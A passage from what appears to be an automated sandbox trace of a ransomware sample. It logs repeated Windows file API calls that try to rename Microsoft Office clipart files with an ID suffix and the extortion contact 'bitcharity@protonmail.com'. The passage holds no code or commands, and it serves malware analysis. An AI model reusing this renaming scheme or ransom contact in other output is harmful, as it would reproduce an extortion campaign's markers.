lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.554] CloseHandle (hObject=0x1174) returned 1 [0244.559] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.559] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.559] CloseHandle (hObject=0x1174) returned 1 [0244.560] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.560] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.561] CloseHandle (hObject=0x1174) returned 1 [0244.562] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.562] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.562] CloseHandle (hObject=0x1174) returned 1 [0244.563] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.563] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.564] CloseHandle (hObject=0x1174) returned 1 [0244.566] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.567] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.567] CloseHandle (hObject=0x1174) returned 1 [0244.570] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.570] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.571] CloseHandle (hObject=0x1174) returned 1 [0244.571] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.571] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.572] CloseHandle (hObject=0x1174) returned 1 [0244.574] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.574] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.574] CloseHandle (hObject=0x1174) returned 1 [0244.575] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.575] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.576] CloseHandle (hObject=0x1174) returned 1 [0244.578] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.578] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.579] CloseHandle (hObject=0x1174) returned 1 [0244.581] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.581] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.581] CloseHandle (hObject=0x1174) returned 1 [0244.585] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.585] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.586] CloseHandle (hObject=0x1174) returned 1 [0244.778] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.778] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.779] CloseHandle (hObject=0x1168) returned 1 [0244.781] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.781] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.781] CloseHandle (hObject=0x1168) returned 1 [0244.783] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.783] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.783] CloseHandle (hObject=0x1168) returned 1 [0244.785] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.785] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.785] CloseHandle (hObject=0x1168) returned 1 [0244.786] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.786] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.787] CloseHandle (hObject=0x1168) returned 1 [0244.788] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.789] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.789] CloseHandle (hObject=0x1168) returned 1 [0244.790] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.790] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.791] CloseHandle (hObject=0x1168) returned 1 [0244.792] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.792] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.793] CloseHandle (hObject=0x1168) returned 1 [0244.795] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.795] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.795] CloseHandle (hObject=0x1168) returned 1 [0244.797] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.797] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.797] CloseHandle (hObject=0x1168) returned 1 [0244.798] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.799] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.799] CloseHandle (hObject=0x1168) returned 1 [0244.801] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.801] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.802] CloseHandle (hObject=0x1168) returned 1 [0244.803] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.803] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.804] CloseHandle (hObject=0x1168) returned 1 [0244.805] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.805] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.806] CloseHandle (hObject=0x1168) returned 1 [0244.807] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.807] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.807] CloseHandle (hObject=0x1168) returned 1 [0244.809] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.809] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.809] CloseHandle (hObject=0x1168) returned 1 [0244.811] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.811] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.811] CloseHandle (hObject=0x1168) returned 1 [0244.812] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.812] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.813] CloseHandle (hObject=0x1168) returned 1 [0245.927] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.928] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.939] CloseHandle (hObject=0x118c) returned 1 [0245.940] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.940] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.941] CloseHandle (hObject=0x118c) returned 1 [0245.944] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 